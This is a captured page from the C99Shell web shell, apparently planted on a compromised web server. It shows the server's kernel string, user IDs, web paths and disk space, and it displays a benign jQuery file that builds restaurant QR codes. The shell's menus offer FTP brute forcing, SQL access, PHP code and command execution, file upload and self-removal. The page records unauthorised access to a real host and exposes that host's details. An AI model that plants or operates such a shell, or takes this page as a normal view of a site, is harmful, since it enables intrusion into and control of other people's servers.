!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/public/js/plugins-init/   drwxr-xr-x
Free 28.49 GB of 117.98 GB (24.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     qr-maker.min.js (3.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";

function generateQR() {
    let e = $("#restaurant option:selected").attr("data-url");
    if (!e) return void $("#downloadImage").hide();
    $("#downloadImage").show();
    const o = $("#selectTable").val();
    o && (e = e + "&table=" + o);
    const n = $("#fillColor").val(), t = $("#bgColor").val(), a = $("#textColor").val(), r = $("#qrText").val(),
        i = parseInt($("#qrMode").val()), l = parseFloat($("#qrTextSize").val()), s = parseFloat($("#qrPosX").val()),
        d = parseFloat($("#qrPosY").val()), c = $("#qrPreImage")[0];
    $("#qrCode").empty().qrcode({
        render: "image",
        size: 250,
        fill: n,
        background: t,
        text: e,
        ecLevel: "H",
        mode: i,
        mSize: l,
        mPosX: s,
        mPosY: d,
        radius: 0,
        label: r,
        fontname: "sans",
        fontcolor: a,
        quiet: 1,
        image: c
    })
}

function handleQRModeChange() {
    const e = $("#qrMode").val(), o = $("#imageSection"), n = $("#textSection"), t = $("#customization");
    t.show(), 0 == e ? (o.hide(), n.hide(), t.hide()) : 1 == e || 2 == e ? (n.show(), o.hide()) : 3 != e && 4 != e || (n.hide(), o.show())
}

function handleSizeChange(e) {
    const o = parseInt(e[0]) / 100 / 3;
    $("#qrTextSize").val(o), generateQR()
}

function handlePosXChange(e) {
    const o = parseInt(e[0]) / 100;
    $("#qrPosX").val(o), generateQR()
}

function handlePosYChange(e) {
    const o = parseInt(e[0]) / 100;
    $("#qrPosY").val(o), generateQR()
}

$("#restaurant,#selectTable,#fillColor,#textColor,#bgColor,#qrMode,#qrText").on("change asColorPicker::change keyup", function (e) {
    setTimeout(function () {
        generateQR()
    }, 300)
}), $("#downloadImage").on("click", function (e) {
    e.preventDefault();
    let o = $("#restaurant").val(), n = $("#qrCode img").first().attr("src"), t = document.createElement("a");
    t.href = n, t.download = "qr-" + o + ".png", t.click()
}), $(".as_colorpicker").asColorPicker(), $("#qrImage").on("change", function (e) {
    const o = $("#qrImage")[0];
    let n = o;
    o.files && o.files[0] && ((n = new window.FileReader).onload = function (e) {
        $("#qrPreImage").attr("src", e.target.result), setTimeout(generateQR, 300)
    }, n.readAsDataURL(o.files[0]))
}), $("#qrMode").on("change", function (e) {
    handleQRModeChange()
}), handleQRModeChange();
let size = document.getElementById("size");
noUiSlider.create(size, {
    start: 35,
    behaviour: "snap",
    connect: [!0, !1],
    range: {min: 0, max: 100}
}), size.noUiSlider.on("change", handleSizeChange);
let posX = document.getElementById("qrPosXSlider");
noUiSlider.create(posX, {
    start: 50,
    behaviour: "snap",
    connect: [!0, !1],
    range: {min: 0, max: 100}
}), posX.noUiSlider.on("change", handlePosXChange);
let posY = document.getElementById("qrPosYSlider");
noUiSlider.create(posY, {
    start: 50,
    behaviour: "snap",
    connect: [!0, !1],
    range: {min: 0, max: 100}
}), posY.noUiSlider.on("change", handlePosYChange);
const qrCodeGeneratedSection = $("#qrCodeGeneratedSection"), stickyTop = qrCodeGeneratedSection.offset().top;
$(window).on("scroll", function () {
    $(window).scrollTop() >= stickyTop - 130 ? qrCodeGeneratedSection.css({
        position: "fixed",
        top: "140px",
        width: "100%",
        "max-width": "34%"
    }) : qrCodeGeneratedSection.css({position: "relative", top: "0px", width: "initial", "max-width": "initial"})
}), $(document).ready(function () {
    $("#restaurant").val($("#restaurant option:eq(1)").val()).trigger("change")
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--